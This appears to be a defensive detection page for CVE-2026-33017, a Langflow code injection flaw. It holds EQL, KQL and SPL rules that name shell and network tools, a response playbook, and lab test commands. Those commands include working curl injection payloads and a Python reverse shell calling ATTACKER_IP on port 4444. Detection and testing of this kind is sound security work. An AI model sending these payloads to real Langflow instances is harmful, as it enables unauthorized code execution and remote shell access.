Detect CVE-2026-33017: Langflow Code Injection Vulnerability in Elastic Security
Detects exploitation of CVE-2026-33017, a code injection vulnerability in Langflow that allows unauthenticated or low-privileged attackers to execute arbitrary code via the Langflow API. The vulnerability stems from improper input validation (CWE-94/CWE-95) combined with missing authentication controls (CWE-306), enabling remote code execution against Langflow instances. This CVE is on the CISA KEV list, indicating active exploitation in the wild.
MITRE ATT&CK
Elastic Detection Query
sequence by source.ip with maxspan=5m
[network where destination.port in (7860, 7861, 3000)
and http.request.method in ("POST", "PUT", "PATCH")
and http.request.body.content regex~ ".*(__import__|exec\\(|eval\\(|os\\.system|subprocess|__builtins__|compile\\(|socket\\.).*"]
[any where event.category == "process"
and process.parent.name in ("python", "python3", "uvicorn", "gunicorn")
and process.name in ("sh", "bash", "curl", "wget", "nc", "ncat", "python", "python3")] EQL sequence rule correlating inbound HTTP requests containing Python injection payloads to Langflow ports with subsequent suspicious child process spawning from Python/WSGI server processes, indicating successful code injection via CVE-2026-33017.
Data Sources
Required Tables
False Positives & Tuning
- Python scripts legitimately invoked by Langflow as part of custom component execution in a sandboxed environment
- Monitoring or health-check scripts that spawn child processes from the Langflow server process
- Development environments where developers interactively test flows that invoke system commands
Other platforms for CVE-2026-33017
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Langflow API Code Injection via /api/v1/run - OS Command Execution
Expected signal: Web server access log entry showing POST to /api/v1/run with a request body containing 'subprocess' and 'shell=True'. EDR should capture a child process (sh or bash) spawned by the Langflow Python/uvicorn process.
- Test 2Langflow Unauthenticated API Access Check - Missing Auth Bypass (CWE-306)
Expected signal: Web server access log showing a GET request to /api/v1/flows from an external IP with a 200 OK response and no Authorization header present.
- Test 3Langflow Code Injection via eval() - Python Builtin Abuse
Expected signal: HTTP POST request to /api/v1/process containing '__import__' and 'os.system' in the request body. File creation event for /tmp/pwned_cve_2026_33017.txt on the Langflow host. EDR should capture os.system call from the Python process.
- Test 4Langflow Reverse Shell Payload Simulation
Expected signal: Outbound TCP connection from the Langflow host to the attacker IP on port 4444. EDR process event showing /bin/sh spawned by uvicorn/gunicorn with stdin/stdout redirected to a socket. Network flow record of the connection in firewall or NDR logs.
Response Playbook
Triage
- Identify the source IP of the request and determine whether it is an internal host, known partner, or external/unknown IP. Check threat intelligence feeds for reputation of the source.
- Retrieve the full HTTP request body from proxy/WAF logs and decode any URL encoding or base64 to reveal the injected payload. Assess the payload's capability: does it attempt OS command execution, file write, or network callback?
- Determine whether the targeted Langflow instance is internet-facing or internal-only. Internet-facing instances are at significantly higher risk and warrant immediate escalation.
- Check Langflow server logs and application logs for evidence of successful code execution: look for unexpected process spawns (e.g., sh, bash, curl, wget) with uvicorn or gunicorn as the parent process.
- Verify the Langflow version running on the affected host and confirm whether it falls within the affected version range for CVE-2026-33017.
Containment
- If exploitation is confirmed or highly suspected, immediately isolate the Langflow host from the network by blocking inbound/outbound traffic via firewall rule or EDR network containment. Preserve the running process state before shutdown if forensic investigation is required.
- Revoke any API tokens, credentials, or session tokens that may have been exposed or used by the Langflow process. Rotate secrets stored in environment variables or config files accessible to the Langflow process.
- Apply a WAF rule to block requests to Langflow API endpoints (/api/v1/run, /api/v1/process, /api/v1/predict, /api/v1/build) containing known injection strings until a patch is applied and validated.
Evidence Collection
- Collect and preserve Langflow application logs, web server access logs (nginx/apache), and system auth logs (/var/log/auth.log) from the affected host. Archive with timestamps and chain of custody documentation.
- Capture a memory dump of the Langflow Python process (uvicorn/gunicorn) if still running, and collect all child processes spawned since the suspected exploitation time window. Use tools such as volatility or gdb for memory acquisition.
- Export all network connection records from the affected host for the incident timeframe, including DNS queries, to identify any C2 callback domains or lateral movement targets.
Escalation Criteria
- !Escalate immediately to IR lead if there is evidence of successful code execution resulting in a reverse shell, file system modification, credential harvesting, or lateral movement to other internal systems.
- !Escalate if the Langflow instance had access to sensitive data, secrets, API keys, or internal services (e.g., databases, Vault, cloud provider credentials), as these may now be compromised and require urgent rotation and breach assessment.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Langflow application logs at default path: ~/.langflow/langflow.log or container stdout — search for stack traces or unexpected output following the attack timestamp - >
Web server access logs containing the malicious POST request to /api/v1/run or similar endpoints — preserve raw bytes to capture encoded payloads - >
OS process table and /proc entries showing child processes spawned by the Langflow Python process (uvicorn/gunicorn) during the attack window - >
Network connection state (ss -antp or netstat -antp) showing any outbound connections initiated by the Langflow process after the injection event
Tuning Guidance
Reduce false positives by scoping detections to known Langflow server hostnames or IPs rather than port-only matching. Maintain an allowlist of internal source IPs (developers, CI/CD systems) that legitimately submit Python code to the Langflow API. If Langflow is deployed in a containerized environment, correlate process events using container IDs to filter noise from non-Langflow Python processes running on the same host. For WAF-based detections, tune by adding the specific endpoint paths and requiring the request method to be POST/PUT before triggering on body content matches.
Hunting Queries
Hunt for Langflow processes that have spawned shell or network utility child processes, indicating successful code injection
DeviceProcessEvents
| where TimeGenerated >= ago(7d)
| where InitiatingProcessFileName has_any ("uvicorn", "gunicorn", "python", "python3")
| where FileName in ("sh", "bash", "zsh", "curl", "wget", "nc", "ncat", "nmap", "python", "python3", "perl", "ruby")
| project TimeGenerated, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, ProcessCommandLine, AccountName
| order by TimeGenerated desc index=endpoint sourcetype=crowdstrike:events:sensor OR sourcetype=sysmon
(parent_process_name="uvicorn" OR parent_process_name="gunicorn" OR parent_process_name="python" OR parent_process_name="python3")
(process_name="sh" OR process_name="bash" OR process_name="curl" OR process_name="wget" OR process_name="nc" OR process_name="ncat")
| table _time, host, parent_process_name, parent_process_id, process_name, process_id, process_cmdline
| sort - _time Hunt for outbound network connections from Langflow-related Python processes to unusual external IPs, suggesting C2 callback after exploitation
DeviceNetworkEvents
| where TimeGenerated >= ago(7d)
| where InitiatingProcessFileName has_any ("uvicorn", "gunicorn", "python", "python3")
| where RemoteIPType == "Public"
| where RemotePort !in (80, 443, 8080, 8443)
| summarize connection_count=count(), ports=make_set(RemotePort) by InitiatingProcessFileName, RemoteIP, DeviceName
| order by connection_count desc index=network sourcetype=firewall OR sourcetype=pan:traffic
(app="python" OR process="uvicorn" OR process="gunicorn")
dest_ip!=10.0.0.0/8 dest_ip!=172.16.0.0/12 dest_ip!=192.168.0.0/16
dest_port!=80 dest_port!=443
| stats count AS conn_count, values(dest_port) AS ports BY src_ip, dest_ip, process
| sort - conn_count Atomic Red Team Tests
Simulates CVE-2026-33017 exploitation by sending a POST request to the Langflow /api/v1/run endpoint with a Python payload that executes an OS command via subprocess. For use in an authorized lab environment with a vulnerable Langflow instance.
Command
curl -s -X POST http://TARGET_LANGFLOW_HOST:7860/api/v1/run/FLOW_ID \
-H 'Content-Type: application/json' \
-d '{"input_value": "test", "tweaks": {"PythonCode-XXXX": {"code": "import subprocess; result = subprocess.check_output(\"id\", shell=True); print(result)"}}}' \
--max-time 10 Cleanup
Review Langflow application logs and remove any files created by the test payload. Restart the Langflow service to clear any injected state. Expected Telemetry
Web server access log entry showing POST to /api/v1/run with a request body containing 'subprocess' and 'shell=True'. EDR should capture a child process (sh or bash) spawned by the Langflow Python/uvicorn process.
Expected Detection
The KQL, SPL, and Elastic EQL queries should fire on the presence of 'subprocess' in the HTTP request body directed at port 7860 on the /api/v1/run endpoint. The Elastic EQL sequence rule should additionally correlate the child process spawn event.
Tests the missing authentication control aspect of CVE-2026-33017 by attempting to access Langflow API endpoints without providing any authentication token, verifying that the endpoint is accessible unauthenticated.
Command
curl -sv -X GET http://TARGET_LANGFLOW_HOST:7860/api/v1/flows \
-H 'Accept: application/json' \
--max-time 5 2>&1 | grep -E 'HTTP/|\{|\[' Cleanup
No cleanup required; this is a read-only probe. Expected Telemetry
Web server access log showing a GET request to /api/v1/flows from an external IP with a 200 OK response and no Authorization header present.
Expected Detection
Detection rules focused on unauthenticated access patterns to Langflow management endpoints should trigger. Network monitoring should log the connection. WAF rules should flag requests lacking authentication headers to sensitive API paths.
Simulates a CVE-2026-33017 payload using Python's eval() builtin to execute arbitrary code in a Langflow custom component, demonstrating the CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code) aspect of the vulnerability.
Command
curl -s -X POST http://TARGET_LANGFLOW_HOST:7860/api/v1/process/FLOW_ID \
-H 'Content-Type: application/json' \
-d '{"inputs": {"text": "test"}, "tweaks": {"CustomComponent-XXXX": {"code": "__import__(\"os\").system(\"whoami > /tmp/pwned_cve_2026_33017.txt\")"}}}' \
--max-time 10 Cleanup
rm -f /tmp/pwned_cve_2026_33017.txt on the Langflow host. Review and clear Langflow logs. Restart the Langflow service. Expected Telemetry
HTTP POST request to /api/v1/process containing '__import__' and 'os.system' in the request body. File creation event for /tmp/pwned_cve_2026_33017.txt on the Langflow host. EDR should capture os.system call from the Python process.
Expected Detection
High-confidence match in KQL and SPL queries due to '__import__.*os' pattern, triggering the maximum risk score (95). Chronicle YARA-L rule should match on the __import__ regex pattern. File creation telemetry should be visible in EDR alerts.
Simulates a post-exploitation reverse shell initiated via CVE-2026-33017 code injection. This test should ONLY be executed in a completely isolated lab network with explicit authorization. The netcat listener must be set up before running the curl command.
Command
# Step 1: On attacker machine, start listener
nc -lvnp 4444
# Step 2: Send reverse shell payload to Langflow
curl -s -X POST http://TARGET_LANGFLOW_HOST:7860/api/v1/run/FLOW_ID \
-H 'Content-Type: application/json' \
-d '{"input_value": "x", "tweaks": {"PythonCode-XXXX": {"code": "import socket,subprocess,os; s=socket.socket(); s.connect((\"ATTACKER_IP\",4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); subprocess.call([\"/bin/sh\",\"-i\"])"}}}' \
--max-time 15 Cleanup
Terminate the netcat listener. Kill any shell sessions established. Remove the Langflow container or VM used for testing. Verify no outbound connections remain on the test network segment. Expected Telemetry
Outbound TCP connection from the Langflow host to the attacker IP on port 4444. EDR process event showing /bin/sh spawned by uvicorn/gunicorn with stdin/stdout redirected to a socket. Network flow record of the connection in firewall or NDR logs.
Expected Detection
The Elastic EQL sequence rule should fire correlating the HTTP injection request with the subsequent shell process spawn. The CrowdStrike CQL hunting query should identify the outbound connection from the Python process. Network-based detections should alert on the outbound connection to a non-standard port from a server-class host.